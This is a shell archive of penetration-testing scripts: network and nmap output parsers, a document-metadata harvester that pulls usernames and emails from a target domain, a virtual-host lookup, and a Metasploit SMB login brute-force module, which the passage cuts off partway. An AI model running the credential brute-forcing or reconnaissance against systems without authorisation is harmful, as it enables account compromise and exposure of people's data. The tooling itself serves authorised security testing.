20317483d662c04e7aeba66d13543167 echo x - ismtp/work/ipwn-32bbc05/ifconfigs.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/ifconfigs.rb << '8fddc15d6bf650c385abc7accad9ec8f' X#!/usr/bin/env ruby Xrequire 'terminal-table' Xrequire 'ipaddr' X Xifconfig = `ifconfig`.split("\n") X Xoint = '' Xint = '' Xomac = '' X X# Begin the table. Xtable = Terminal::Table.new do |t| X # Define the table headers. X t << ['Interface','IPv4 Address','Subnet Mask','Broadcast','MAC Address'] X t.add_separator X X ifconfig.each do |line| X # Regex used to grab for specific information. X int = line.scan(/(eth[0-9]|lo|wlan[0-9])/) X ipaddr = line.scan(/addr:\b(?:\d{1,3}\.){3}\d{1,3}\b/) X netmask = line.scan(/Mask:\b(?:\d{1,3}\.){3}\d{1,3}\b/) X broadcast = line.scan(/Bcast:\b(?:\d{1,3}\.){3}\d{1,3}\b/) X mac = line.scan(/(?:[A-Fa-f0-9]{2}[:-]){5}(?:[A-Fa-f0-9]{2})/) X X # Fix the variables if the regex matches aren't empty. X int = int unless int.nil? X ipaddr = ipaddr[0][5..-1] unless ipaddr.empty? X netmask = netmask[0][5..-1] unless netmask.empty? X broadcast = broadcast[0][6..-1] unless broadcast.empty? X omac = mac[0] unless mac.empty? X X # Clean up some stuff X int = int[0][0] unless int.empty? X oint = int unless int.empty? X broadcast = '' if broadcast.empty? X X # Add the data to a table. X unless oint.empty? and ipaddr.empty? and netmask.empty? and broadcast.empty? and omac.empty? X unless ipaddr.empty? or netmask.empty? X cidr = IPAddr.new(netmask).to_i.to_s(2).count("1") X t << [oint, ipaddr, "#{netmask} (/#{cidr})", broadcast, omac] X omac = '' X end X end X end Xend X Xtable.title = "1337 H4x0Rz Linux Ifconfig Parser - Alton Johnson (alton.jx@gmail.com)" Xputs table 8fddc15d6bf650c385abc7accad9ec8f echo x - ismtp/work/ipwn-32bbc05/pyfoca.py sed 's/^X//' >ismtp/work/ipwn-32bbc05/pyfoca.py << '7707faeae53889df4682ac150a612721' X#!/usr/bin/python X# X############################################################################################################# X# # X# This reason behind creating this script is due to the issues # X# I've experienced in the FOCA application such as with downloading files. # X# Additionally, taking screen captures for reports can turn into three and # X# four captures depending on what metadata was gathered. Therefore, this script # X# can perform some of the same functions as FOCA, and outputs the data into a nicely # X# formatted table. # X# # X# For those of you who have already used FOCA in the past to perform metadata # X# extraction, you can export the data you've received (e.g., user, software, printers, folders, etc.) # X# into a directory, and have this script # X# to parse those files and print it to a table. This will make the screenshot look much better. # X# # X# Author: Alton Johnson # X# Contact: alton.jx@gmail.com # X# Updated: 06/06/2013 # X# Version: 1.6 # X# # X############################################################################################################# X Ximport getopt, os, httplib, socket, urllib2, re, time, commands,sys Xfrom sys import argv X Xcurr_time = time.time() XtotalFiles = 0 XextractedFrom = 0 X Xclass colors: X white = "\033[1;37m" X normal = "\033[0;00m" X red = "\033[1;31m" X blue = "\033[1;34m" X green = "\033[1;32m" X Xtry: X import pyPdf X from pyPdf import PdfFileReader Xexcept Exception, err: X print colors.red + " Warning: To obtain maximum data from PDF documents, it's highly recommended that you install the pyPDF python module." X print " pyPDF can be downloaded from http://pybrary.net/pyPdf/" + colors.normal X Xbanner = '\n ' + "-" * 79 + colors.white + '\n pyfoca v1.6 - Document Metadata Extractor, Alton Johnson (alton.jx@gmail.com)\n ' + colors.normal + "-" * 79 + "\n" Xclass metaparser: X def __init__(self, fileName, workingDir, domainName, pageResults,exts,report_dir,del_files,verbose): X self.fileName = fileName X self.container = list() X self.offset = [0] X self.data_exists = [0] X self.top_row = [' | File Name','Creation Date','Author','Produced By','Modification Date','Last Saved By'] X self.top_rowf = ['Folders','Operating System(s)','Printers','Software','Users','Emails'] X self.domainName = domainName X self.workingDir = workingDir X self.pageResults = pageResults X self.totalSuccess = 0 X self.exts = exts X self.report_dir = report_dir X self.del_files = del_files X self.verbose = verbose X X if self.report_dir == "": X while len(self.offset) < len(self.top_row): X self.offset.append(0) X self.data_exists.append(0) X else: X while len(self.offset) < len(self.top_rowf): X self.offset.append(0) X self.data_exists.append(0) X def processFile(self, curr_file): X global extractedFrom X author = '-' X date = '-' X generator = '-' X created = '-' X producer = '-' X modded = '-' X last_saved = '-' X if ".pdf" in curr_file: X try: X pdfFile = PdfFileReader(file(curr_file, 'rb')) X if pdfFile.getIsEncrypted(): X pdfFile.decrypt('') X docInfo = pdfFile.getDocumentInfo() X if not docInfo: X return X last_saved = '-' X #looks at the entire dictionary to parse for information X if "/CreationDate" in docInfo: X data = docInfo["/CreationDate"].strip("D:|'") X year = data[0:4] X date = data[4:6] + "/" + data[6:8] X created_time = data[8:10] + ":" + data[10:12] X created_time = time.strftime("%I:%M %p", time.strptime(created_time, "%H:%M")) X created = date + "/" + year + " " + created_time X if "/Author" in docInfo: X author = docInfo["/Author"] + " " X if len(author) <=1: X author = "-" X if "/Producer" in docInfo: X producer = docInfo["/Producer"].strip("(Windows)") X producer = re.sub(r'[^\w]', ' ', producer) X if len(producer) == 0: X producer = "-" X while True: X if " " in producer: X producer = producer.replace(" ", " ") X else: X break X if "/ModDate" in docInfo: X data = docInfo["/ModDate"].strip("D:|'") X year = data[0:4] X date = data[4:6] + "/" + data[6:8] X modded_time = data[8:10] + ":" + data[10:12] X modded_time = time.strftime("%I:%M %p", time.strptime(modded_time, "%H:%M")) X modded = date + "/" + year + " " + modded_time X X #strips '/' off file name (if it includes directory name) X if "/" in curr_file: X curr_file = curr_file[curr_file.rfind("/")+1:] X if "\\" in curr_file: X curr_file = curr_file.replace("\\","") X X #trim information if it's too long X if len(curr_file) > 15: # trims file name X curr_file = curr_file[:15] + "..." + curr_file[-13:] X if len(producer) > 30: X producer = producer[:20] + " [snipped] " X if len(author) > 20: X author = author[:20] + " [snipped] " X X #appends each piece of information. output will show ONLY if at least ONE file has data in a column X self.container.append([" | " + curr_file,created,author,producer,modded,last_saved]) X except Exception, err: X return X else: X try: X curr_file = curr_file.replace(" ","\ ").replace("(", "\(").replace(")", "\)") X output = commands.getoutput('extract -V ' + curr_file).split('\n') X if "extract: not found" in output[0]: X print colors.red + " Error: This script requires the extract command." X print " Please install extract by typing \'apt-get install extract\' in terminal.\n" + colors.normal X exit() X for i in output: X if "creator" in i: X author = i[i.find("-")+2:] X rem_alphanumeric = re.compile('\W') X author = re.sub(rem_alphanumeric, ' ', author) X while True: X if " " in author: X author = author.replace(" ", " ") X elif author[0] == " ": X author = author[1:] X else: X break X elif "date" in i and "creation" not in i: X year = i[i.find('-')+2:(i.find('-')+2)+4] X date = i[i.find(year)+5:(i.find(year)+5)+5].replace("-","/") X modded_time = i[i.find(":")-2:i.rfind(":")-1] X modded_time = time.strftime("%I:%M %p", time.strptime(modded_time, "%H:%M")) X modded = date + "/" + year + " " + modded_time X elif 'generator' in i: X producer = i[i.find('-')+2:] X elif 'creation' in i: X year = i[i.find('-')+2:(i.find('-')+2)+4] X date = i[i.find(year)+5:(i.find(year)+5)+5].replace("-","/") X created_time = i[i.find(":")-2:i.rfind(":")-1] X created_time = time.strftime("%I:%M %p", time.strptime(created_time, "%H:%M")) X created = date + "/" + year + " " + created_time X elif 'last saved' in i: X last_saved = i[i.find('-')+2:] X if "/" in curr_file: X curr_file = curr_file[curr_file.rfind("/")+1:] X if "\\" in curr_file: X curr_file = curr_file.replace("\\","") X #trim the file name if it's longer than 15 characters X if len(curr_file) > 15: X curr_file = curr_file[:9] + "..." + curr_file[-13:] X if author != "-" or date != "-" or generator != "-" or created != "-" or producer != "-" or modded != "-" or last_saved != "-": X self.container.append([" | " + curr_file,created,author,producer,modded,last_saved]) X except Exception, err: X if "command not found" in str(err): X print colors.red + "\n Error: This program requires the \"extract\" command, and it cannot be found." X print " Please install extract by using 'apt-get install extract' from terminal." + colors.normal X exit() X# print colors.red + curr_file + " --------------- " + str(err) + colors.normal X return X extractedFrom = len(self.container) X X def parseReport(self, folders_file, OS_file, printers_file, software_file, users_file, emails_file): X supported_options = [folders_file, OS_file, printers_file, software_file, users_file, emails_file] X #grab variable with most lines -- this determines how many times we append to container X max_lines = 0 X for i in supported_options: X if len(i) > max_lines: X max_lines = len(i) X for ln in range(0,max_lines): X if ln < len(folders_file): X add_folder = folders_file[ln].replace("%20", " ") X else: X add_folder = "-" X if ln < len(OS_file): X add_os = OS_file[ln] X else: X add_os = "-" X if ln < len(printers_file): X add_printer = printers_file[ln] X else: X add_printer = "-" X if ln < len(software_file): X add_software = software_file[ln] X else: X add_software = "-" X if ln < len(users_file): X add_user = users_file[ln] X else: X add_user = "-" X if ln < len(emails_file): X add_email = emails_file[ln] X else: X add_email = "-" X self.container.append([add_folder, add_os, add_printer, add_software, add_user, add_email]) X X def grabMeta(self): X print banner X global totalFiles X foundFile = False X files = [] X # FOCA file types X folders_file = [] X OS_file = [] X printers_file = [] X software_file = [] X users_file = [] X emails_file = [] X self.foca_filetypes = [] X if self.report_dir: X if self.report_dir == ".": X self.report_dir = "./" X self.report_dir = self.report_dir.replace(" ", "\ ") X print " Reading files..." X for dirname, dirnames, filenames in os.walk(self.report_dir): X for z in filenames: X try: X new_open = open(dirname + z) X file_contents = new_open.read().replace("\r", "").replace("\t","").split('\n') X while '' in file_contents: X file_contents.remove('') X if "Metadata" in file_contents[0]: X self.foca_files = file_contents[1][file_contents[1].find("(")+1:file_contents[1].find("/")] X for ext in file_contents: X if ext != "": X if "." == file_contents[file_contents.index(ext)][0]: X self.foca_filetypes.append(file_contents[file_contents.index(ext)]) X elif "folders" in file_contents[0]: X for i in file_contents[1:]: X if i not in folders_file: X folders_file.append(i) X folders_file.sort() X elif "operating systems" in file_contents[0]: X for a in file_contents[1:]: X if a not in OS_file: X OS_file.append(a) X OS_file.sort() X elif "printers" in file_contents[0]: X for b in file_contents[1:]: X if b not in printers_file: X printers_file.append(b) X printers_file.sort() X elif "software" in file_contents[0]: X for c in file_contents[1:]: X if c not in software_file: X software_file.append(c) X software_file.sort() X elif "users" in file_contents[0]: X for d in file_contents[1:]: X if d not in users_file: X users_file.append(d) X users_file.sort() X elif "emails" in file_contents[0]: X for e in file_contents[1:]: X if e not in emails_file: X emails_file.append(e) X emails_file.sort() X new_open.close() X except Exception, err: X# print err X pass X if len(emails_file) == 0 and len(users_file) == 0 and len(software_file) == 0 and len(printers_file) == 0 and len(OS_file) == 0 and len(folders_file) == 0: X print colors.red + " Error: There are no supported files within the specified directory.\n" + colors.normal X exit() X self.parseReport(folders_file, OS_file, printers_file, software_file, users_file, emails_file) X elif self.workingDir != "": X if self.workingDir == ".": X self.workingDir = "./" X for dirname, dirnames, filenames in os.walk(self.workingDir): X if len(filenames) == 0: X print colors.red + " Error: There are no files within the specified directory.\n" + colors.normal X exit() X for i in filenames: X for ext in self.exts: X if ext in i: X foundFile = True X curr_file = dirname + i X curr_file = curr_file.replace(" ","\ ").replace("(", "\(").replace(")", "\)") X self.processFile(curr_file) X totalFiles += 1 X if foundFile == False: X print colors.red + "\n Error: Sorry, no supported files were located within the specified directory. Please try another file or directory.\n" + colors.normal X exit() X elif self.fileName != "": X self.fileName = self.fileName.replace(" ", "\ ").replace("(", "\(").replace(")", "\)") X self.processFile(self.fileName) X totalFiles += 1 X elif self.domainName != "": X print " Domain: %s" % self.domainName X print " Attempting to gather links from google searches..." X conn = httplib.HTTPConnection('www.google.com') X total_count = 0 X for e in self.exts: X count = 0 X while count < self.pageResults: X conn.request("GET","/search?q=site:" + self.domainName + "+ext:" + e + "&start=%s0" % str(count)) X r1 = conn.getresponse() X contents = r1.read() X new_pattern = "(?P<url>https?://[^:]+\.%s)" % e X new_pattern = re.findall(new_pattern,contents) X for n in new_pattern: X if n not in files: X files.append(n) X count += 1 X total_count += 1 X totalFiles = len(files) X if len(files) == 0: X print " No files were located within Google based on the extension(s) and domain you provided.\n" X exit() X print " Discovered " + str(len(files)) + " files from " + str(total_count) + " total google searches..." X #create pyfoca-downloads directory if it doesn't exist X if not os.path.exists('pyfoca-downloads'): X print " Creating pyfoca-downloads folder..." X os.makedirs('pyfoca-downloads') X X #set max amount of spaces for pdf file names X spaces = 0 X for item in files: X item = item[item.rfind("/")+1:] X if len(item) > 10: X short_file = item[:10] + "..." + item[-10:] X else: X short_file = item X if len(short_file) > spaces: X spaces = len(short_file) + 3 X X print " Attempting to download files..." X if self.verbose == False: X print " Please wait..." X #download each file that we added to the 'files' variable X print " -------------------------------" X for f in files: X if "..." in f: X del files[files.index(f)] X continue X pdf_name = f[f.rfind("/")+1:] X try: X response = urllib2.urlopen(f) X source = response.read() X write_file = open('pyfoca-downloads/%s' % pdf_name, 'w') X write_file.write(source) X write_file.close() X name = pdf_name.replace("(", "\(").replace(")", "\)") X filesize = commands.getoutput('ls -lh pyfoca-downloads/%s | awk \'{print $5}\'' % name) X if len(pdf_name) > 10: X short_file = pdf_name[:10] + "..." + pdf_name[-10:] X else: X short_file = pdf_name X if self.verbose == True: X print; print colors.blue + " [+] " + short_file, "-" * (spaces-len(short_file)), "success", "[%s of %s] [size: %s]" % (str(files.index(f)+1),str(len(files)), filesize) + colors.normal X except Exception, err: X if self.verbose == True: X print colors.red + " [-] " + short_file, "-" * (spaces-len(short_file)), "fail", "[%s of %s]" % (str(files.index(f)+1),str(len(files))) + colors.normal X totalFiles -= 1 X continue X print X for e in files: X pdf_name = e[e.rfind("/")+1:] X self.processFile('pyfoca-downloads/%s' % pdf_name) X X def printMeta(self): X #check to see if user requested FOCA file parsing; if so, print statistics first X if self.report_dir != "": X print " User specified option for \"FOCA\" text file parsing. Printing details..." X print " ----------------------------------------------------------------------" X for i in self.foca_filetypes: X print " Total " + i[:i.find("(")-1] + " files: " + i[i.find("(")+1:i.find(")")] X print X #for self.data_exists, add 1 to any column with data, and 0 to column without data X for i in self.container: X for num in range(0,len(self.top_row)): X if i[num] != "-": X self.data_exists[num] = 1 X #check self.data_exists for empty columns, and remove them. X restart_check = 1 X while restart_check == 1: X restart_check = 0 X for data in self.data_exists: X if data == 0: X if self.report_dir == "": X del self.top_row[self.data_exists.index(data)] X else: X del self.top_rowf[self.data_exists.index(data)] X del self.offset[self.data_exists.index(data)] X for citem in self.container: X del citem[self.data_exists.index(data)] X del self.data_exists[self.data_exists.index(0)] X restart_check = 1 X X totalFiles = len(self.container) X X #states that no data exists if nothing really does. this prevents the output of self.top_row from showing with nothing in the table. X if len(self.container) == 0: X print colors.red + " Either no data was found on Google, or there were issues opening the documents.\n" + colors.normal X exit() X X #goes through each item in container and make sure max spaces are correct X for item in self.container: X for num in range(0,len(item)): X if "|" not in item[0]: X item[0] = " | " + item[0] X if len(item[num]) > self.offset[num]: X self.offset[num] = len(item[num]) + 1 X if self.report_dir == "": X for x in range(0,len(self.offset)): X if len(self.top_row[x]) > self.offset[x]: X self.offset[x] = len(self.top_row[x]) + 1 X else: X for x in range(0,len(self.offset)): X if "|" not in self.top_rowf[0]: X self.top_rowf[0] = " | " + self.top_rowf[0] X if len(self.top_rowf[x]) > self.offset[x]: X self.offset[x] = len(self.top_rowf[x]) + 1 X X #prints the top row (formatted according to the # of spaces set from above code) X if self.report_dir == "": X top_bottom_lines = " " + "-" * (sum(self.offset) + len(self.top_row) + len(self.top_row)-2) X print top_bottom_lines X for top in self.top_row: X print top + " " * (self.offset[self.top_row.index(top)] - len(top)) + "|", X print "\n" + top_bottom_lines X else: X top_bottom_lines = " " + "-" * (sum(self.offset) + len(self.top_rowf) + len(self.top_rowf)-2) X print top_bottom_lines X for top in self.top_rowf: X print top + " " * (self.offset[self.top_rowf.index(top)] - len(top)) + "|", X print "\n" + top_bottom_lines X X #prints the metadata details for each file X for item in self.container: X for num in range(0,len(item)): X print item[num] + " " * (self.offset[num] - len(item[num])) + "|", X if item == self.container[-1]: X print "\n" + top_bottom_lines + "\n" X else: X print X X print " " + "--" * 5 X if self.report_dir == "": X if self.del_files: X print " Deleting pyfoca-downloads folder..." X commands.getoutput('rm pyfoca-downloads/ -rf') X print " Extracted data from %s file(s)." % str(totalFiles) X else: X print " Extracted data from %s file(s)." % self.foca_files X Xdef help(): X print banner X print " Usage: ./pyfoca.py <OPTIONS> \n" X print colors.green + " Domain options:\n" + colors.normal X print "\t -d <domain>\t\tHarvests all documents from a domain (saves to pyfoca-downloads/). \n\t\t\t\tAfterwards, extract metadata." X print colors.green + "\n Parse file/dir:\n" + colors.normal X print "\t -f <file>\t\tExtracts metadata specifically from one file. (Cannot use with '-d')" X print "\t -w <dir>\t\tExtracts metadata from files within specified directory. (Cannot use with '-d')" X print colors.green + "\n Foca Export Parsing:\n" + colors.normal X print "\t -r <directory>\t\tParses data exported from FOCA. Provide directory containing exported files." X print colors.green + "\n Misc:\n" + colors.normal X print "\t -x\t\t\tAfter parsing metadata, delete files downloaded from the domain." X print "\t -e <pdf|doc|xls|all>\tSearch based on provided extension(s). Separate with comma. (Default is all.) " X print "\t -p <number>\t\tSearches x amount of google pages (per extension). (Default is 2.)" X print "\t -t <secs>\t\tSets timeout value. (Default is 5.)" X print "\t -v\t\t\tPrints status messages for files that are downloaded." X print "\n Supported extensions are: .pdf, .doc, .docx, .xls, .xlsx, and .ppt" X print " Example: ./pyfoca.py -d www.domain.com -e pdf,doc -p 3\n" X exit() X Xdef main(argv): X if len(argv) < 2: X help() X try: X opts, args = getopt.getopt(argv, 'vxf:d:r:w:p:t:e:') X except getopt.GetoptError: X help() X X fileName = '' X workingDir = '' X domainName = '' X pageResults = 2 X verbose = False X socket.setdefaulttimeout(5) X exts = ['all'] X supported_exts = ['all','pdf','doc','docx','xls','xlsx','ppt'] X report_dir = '' X del_files = False X for opt, arg in opts: X if opt == "-f": X fileName = arg X elif opt == "-w": X workingDir = arg X elif opt == "-d": X domainName = arg X elif opt == "-p": X pageResults = int(arg) X elif opt == "-t": X socket.setdefaulttimeout(float(arg)) X elif opt == "-e": X exts = arg.split(',') X elif opt == "-r": X report_dir = arg X elif opt == "-x": X del_files = True X elif opt == "-v": X verbose = True X X #checks for errors before submitting for processing X if domainName != "" and (fileName != "" or workingDir != ""): X print colors.red + "\n Error: You have provided a domain name, yet you also have provided a file and/or working directory." X print " You can only use the domain name option by itself." + colors.normal X help() X if fileName != "" and (workingDir != "" or domainName != ""): X print colors.red + "\n Error: You have provided a file name, yet you also have provided a working directory and/or domain name." X print " You can only use the file name option by itself." + colors.normal X help() X if workingDir != "" and (fileName != "" or domainName != ""): X print colors.red + "\n Error: You have provided a working directory, yet you have also provided a file name and/or domain name." X print " You can only use the working directory option by itself." + colors.normal X help() X if report_dir and (workingDir != "" or fileName != "" or domainName != ""): X print colors.red + "\n Error: You've enabled report mode. Therefore, you can only provide a directory with files exported from FOCA." X print " It appears that you've enabled report mode, along with some other options (e.g., directory, file name, domain name, etc.)." X print " Please check your options and try again." + colors.normal X help() X if del_files == True and domainName == "": X print colors.red + "\n Error: You've provided the '-x' option when you have no domain name specified. Please check your options." + colors.normal X help() X for i in exts: X if i.lower() not in supported_exts: X print colors.red + "\n Error: You've provided an unsupported extension. Please try again." + colors.normal X help() X if fileName != "": X try: X with open(fileName) as f: pass X except IOError, err: X print colors.red + "\n Error: " + str(err) + "\n" X exit() X if " " in fileName: X fileName = fileName.replace(" ","\ ") X if "all" in exts: X exts = supported_exts[1:] X startparse = metaparser(fileName, workingDir, domainName, pageResults,exts,report_dir,del_files,verbose) X startparse.grabMeta() X startparse.printMeta() X Xif __name__ == "__main__": X try: X main(argv[1:]) X except KeyboardInterrupt: X print "\n Exiting. Interrupted by user (ctrl-c)." X if os.path.exists('pyfoca-downloads'): X del_folder = raw_input(" Remove pyfoca-downloads folder? [Y/n] ") X if "n" not in del_folder: X commands.getoutput('rm pyfoca-downloads/ -r') X print X exit() X Xprint " Completed in: %.1fs\n" % (time.time() - curr_time) 7707faeae53889df4682ac150a612721 echo x - ismtp/work/ipwn-32bbc05/nmap_parser.py sed 's/^X//' >ismtp/work/ipwn-32bbc05/nmap_parser.py << '86dbeb2a1e72976e8cb7e69bf0e22da3' X#!/usr/bin/python Ximport re Xfrom sys import argv X Xclass colors: X lightblue = "\033[1;36m" X blue = "\033[1;34m" X normal = "\033[0;00m" X red = "\033[1;31m" X white = "\033[1;37m" X green = "\033[1;32m" X Xtry: X from prettytable import * Xexcept Exception: X print colors.red + " Error: The 'prettytables' python module isn't installed." X print " Download prettytables and then run the script again. Link: https://code.google.com/p/prettytable/" X exit() X Xbanner = "\n " + "-" * 72 + "\n " + colors.white + " nmapparse 1.0 - Nmap Output Parser, Alton Johnson (alton.jx@gmail.com)\n " + colors.normal + "-" * 72 + "\n " X Xdef help(): X print banner X print " Usage: ./nmapparse.py results.gnmap" X print "\n Note: This script must point to a grepable output file from nmap to work properly.\n" X exit() X X Xdef start(argv): X table = PrettyTable(["IP Address","Port","Service","Version"]) X if len(argv) == 0: X help() X contents = sorted(open(argv[0]).read().split('\n')) X data = [] X X class colors: X blue = "\033[1;34m" X normal = "\033[0;00m" X X for item in contents: X ip_addr = item[item.find(":")+2:item.find("(")-1] X info = re.findall("(?<=Ports: )(.*?)(?=Ignored)", item) X if len(info) == 0: X info = re.findall("(?<=Ports: )(.*?)(?=Seq Index)", item) X if len(info) == 0: X info = re.findall("(?<=Ports: )(.*?)(?=$)", item) X if len(info) != 0: X for i in info: X result = i.split(',') X for x in result: X port = re.findall("([0-9]+/open/.*?)/", x) X if "[]" in str(port): X continue X port = port[0].replace("/open", "") X service = re.findall("(?<=//)(.*?)(?=/)", x)[0] X version = x.split("/")[-2] X if len(version) > 40: X version = version[:40] X if len(version) == 0: X version = "-" X table.add_row([ip_addr, port, service, version]) X print table X X Xtry: X start(argv[1:]) Xexcept Exception, err: X print err 86dbeb2a1e72976e8cb7e69bf0e22da3 echo x - ismtp/work/ipwn-32bbc05/vhost_lookup.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/vhost_lookup.rb << 'ba83756c18f9e6f64ce52cb08251ac15' X#!/usr/bin/env ruby X Xbegin X ['terminal-table', 'net/http', 'getopt/std'].each(&method(:require)) Xrescue X puts " Error: Apparently, you're missing a gem. Install required gems using the following commands:" X puts "\t gem install terminal-table" X puts "\t gem install getopt" X puts Xend X X################################################################# X# # X# This ruby script simply uses Bing to grab domains which may # X# be associated with a VirtualHost. This is extremely useful if # X# you have a single IP address and it answers for several # X# domains. For further reference, research Apache VirtualHosts. # X# # X################################################################# X$banner = %Q{ X --------------------------------------------------- X VHost Lookup - Alton Johnson (alton.jx@gmail.com) X --------------------------------------------------- X X} X Xclass VHostLookup X def initialize(ipaddr, strict, pages) X @ipaddr = ipaddr X @pages = pages X @domains = [] X @strict = strict X end X X # Submit the bing request and obtain all domains associated with IP. X def begin X puts $banner X puts " [*] Finding virtualhosts for: #{@ipaddr}" X cookies = '' X url = URI("http://www.bing.com/search?q=ip:#{@ipaddr}") X res = Net::HTTP.get_response(url) X res.get_fields('set-cookie').each {|cookie| cookies << cookie.split('; ')[0] + '; '} X X http = Net::HTTP.new(url.host, url.port) X headers = { X 'Cookie' => cookies X } X resp = http.get(url.request_uri, headers) X parse_body(resp.body.scan(/<cite>(.*?)<\/cite>/)) X end X X def parse_body(domains) X puts " [*] #{domains.length} potential domain(s) identified to match IP. Parsing results." X domains.each {|domain| X @domains << domain[0].gsub("<strong>","").gsub("</strong>","").gsub("https://", "").split("/")[0] X } X lookup_additional_ips X end X X def lookup_additional_ips X puts ' [*] Results parsed. Performing additional IP lookups on each domain.' X @domain_matchings = [] X @domains.each do |domain| X output = `dig @8.8.8.8 A #{domain}`.split("\n") X hash = Hash[output.map.with_index.to_a] X if output.include? ';; ANSWER SECTION:' X results = output[hash[';; ANSWER SECTION:']+1..-6] X results.each do |result| X result = result.split("\t") X a = result[0].split(" ")[0][0..-2] # DNS name. X begin X b = result[-2].split(" ")[-1] # DNS record. X rescue X next X end X c = result[-1] # DNS entry. X if @strict == 1 X @domain_matchings << [domain, a, b, c] if c == @ipaddr X else X @domain_matchings << [domain, a, b, c] X end X end X end X end X stdout X end X X def stdout X if @domain_matchings.length == 0 and @domains.uniq.length == 0 X puts " [*] No results matches specific criteria." X puts X elsif @domains.uniq.length != 0 and @domain_matchings.length == 0 X puts " [*] Printing out domains that were found associated with IP address." X puts X @domains.uniq.each do |domain| X puts " [*] #{domain}" X end X puts X else X puts " [*] Complete! Printing table.\n\n" X table = Terminal::Table.new do |t| X t << ['Query','Additional DNS Name','DNS Record Type','DNS Entry'] X t.add_separator X @domain_matchings.each do |entry| X t << entry X end X end X puts table X puts X end X end Xend X Xdef help_menu X X puts %Q{#{$banner} Usage: #{$0} -i 199.83.134.95 X X \t-i\tIP address to look up other domains (virtualhosts) for. X \t-s\tOnly show domains associated with IP address provided. X } X exit Xend X X# Begin things. Xif $0 == __FILE__ X if ARGV.length == 0 X help_menu X end X X opt = Getopt::Std.getopts("i:s") X strict = '' X fail "You forgot to provide an IP address with -i." unless opt['i'] X if opt['s'] X strict = 1 X else X strict = 0 X end X s = VHostLookup.new(opt['i'], strict, 5) X s.begin Xend ba83756c18f9e6f64ce52cb08251ac15 echo c - ismtp/work/ipwn-32bbc05/msf-mods mkdir -p ismtp/work/ipwn-32bbc05/msf-mods > /dev/null 2>&1 echo x - ismtp/work/ipwn-32bbc05/msf-mods/smb_login.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/msf-mods/smb_login.rb << 'b1e7c048d459d02c8bb6c77a5c805eb4' X## X# This module requires Metasploit: http//metasploit.com/download X# Current source: https://github.com/rapid7/metasploit-framework X## X Xrequire 'msf/core' X Xclass Metasploit3 < Msf::Auxiliary X X include Msf::Exploit::Remote::DCERPC X include Msf::Exploit::Remote::SMB X include Msf::Exploit::Remote::SMB::Authenticated X X include Msf::Auxiliary::Scanner X include Msf::Auxiliary::Report X include Msf::Auxiliary::AuthBrute X X attr_reader :accepts_bogus_domains X X def proto X 'smb' X end X def initialize X super( X 'Name' => 'SMB Login Check Scanner', X 'Description' => %q{ X This module will test a SMB login on a range of machines and X report successful logins. If you have loaded a database plugin X and connected to a database this module will record successful X logins and hosts so you can track your access. X }, X 'Author' => X [ X 'tebo <tebo [at] attackresearch [dot] com>', # Original X 'Ben Campbell', # Refactoring X 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', # admin check X 'Tom Sellers <tom <at> fadedcode.net>', # admin check/bug fix X 'Alton Johnson <ajohnson [at] accuvant.com>', # max_lockout check X ], X 'References' => X [ X [ 'CVE', '1999-0506'], # Weak password X ], X 'License' => MSF_LICENSE, X 'DefaultOptions' => X { X 'DB_ALL_CREDS' => false, X 'BLANK_PASSWORDS' => false, X 'USER_AS_PASS' => false X } X ) X deregister_options('RHOST','USERNAME','PASSWORD') X X @accepts_guest_logins = {} X X @correct_credentials_status_codes = [ X "STATUS_INVALID_LOGON_HOURS", X "STATUS_INVALID_WORKSTATION", X "STATUS_ACCOUNT_RESTRICTION", X "STATUS_ACCOUNT_EXPIRED", X "STATUS_ACCOUNT_DISABLED", X "STATUS_ACCOUNT_RESTRICTION", X "STATUS_PASSWORD_EXPIRED", X "STATUS_PASSWORD_MUST_CHANGE", X "STATUS_LOGON_TYPE_NOT_GRANTED" X ] X X # These are normally advanced options, but for this module they have a X # more active role, so make them regular options. X register_options( X [ X OptString.new('SMBPass', [ false, "SMB Password" ]), X OptString.new('SMBUser', [ false, "SMB Username" ]), X OptString.new('SMBDomain', [ false, "SMB Domain", '']), X OptInt.new('MAX_LOCKOUTS', [false, "Quits after x amount of account lockouts", 3]), X OptBool.new('CHECK_ADMIN', [ false, "Check for Admin rights", false]), X OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]), X OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]) X ], self.class) X X end X X def run_host(ip) X print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce") X X domain = datastore['SMBDomain'] || "" X X if accepts_bogus_logins?(domain) X print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.") X return X end X X unless datastore['RECORD_GUEST'] X if accepts_guest_logins?(domain) X print_status("#{ip} - This system allows guest sessions with any credentials, these instances will not be recorded.") X end X end X X begin X locked_attempts = 0 X locked_users = [] X each_user_pass do |user, pass| X result = try_user_pass(domain, user, pass) X if result.to_s.include? 'STATUS_ACCOUNT_LOCKED_OUT' X locked_attempts += 1 X locked_users.push(user) X end X if datastore['STOP_ON_LOCKOUT'] == locked_attempts and datastore['STOP_ON_LOCKOUT'] != 0 X vprint_error('Canceling. \'STOP_ON_LOCKOUT\' threshold reached.') X end X if datastore['MAX_LOCKOUTS'] == locked_attempts X vprint_error('Canceling. \'MAX_LOCKOUTS\' threshold reached.') X break X end X end X if locked_users.length > 0 X vprint_status("#{locked_attempts} user(s) were found to be locked: #{locked_users.join(", ")}") X end X rescue ::Rex::ConnectionError X nil X end X X end X X def check_login_status(domain, user, pass) X connect() X status_code = "" X begin X simple.login( X datastore['SMBName'], X user, X pass, X domain, X datastore['SMB::VerifySignature'], X datastore['NTLM::UseNTLMv2'], X datastore['NTLM::UseNTLM2_session'], X datastore['NTLM::SendLM'], X datastore['NTLM::UseLMKey'], X datastore['NTLM::SendNTLM'], X datastore['SMB::Native_OS'], X datastore['SMB::Native_LM'], X {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} X ) X X # Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect: X simple.connect("\\\\#{datastore['RHOST']}\\IPC$") X status_code = 'STATUS_SUCCESS' X X if datastore['CHECK_ADMIN'] X status_code = :not_admin X # Drop the existing connection to IPC$ in order to connect to admin$ X simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") X begin X simple.connect("\\\\#{datastore['RHOST']}\\admin$") X status_code = :admin_access X 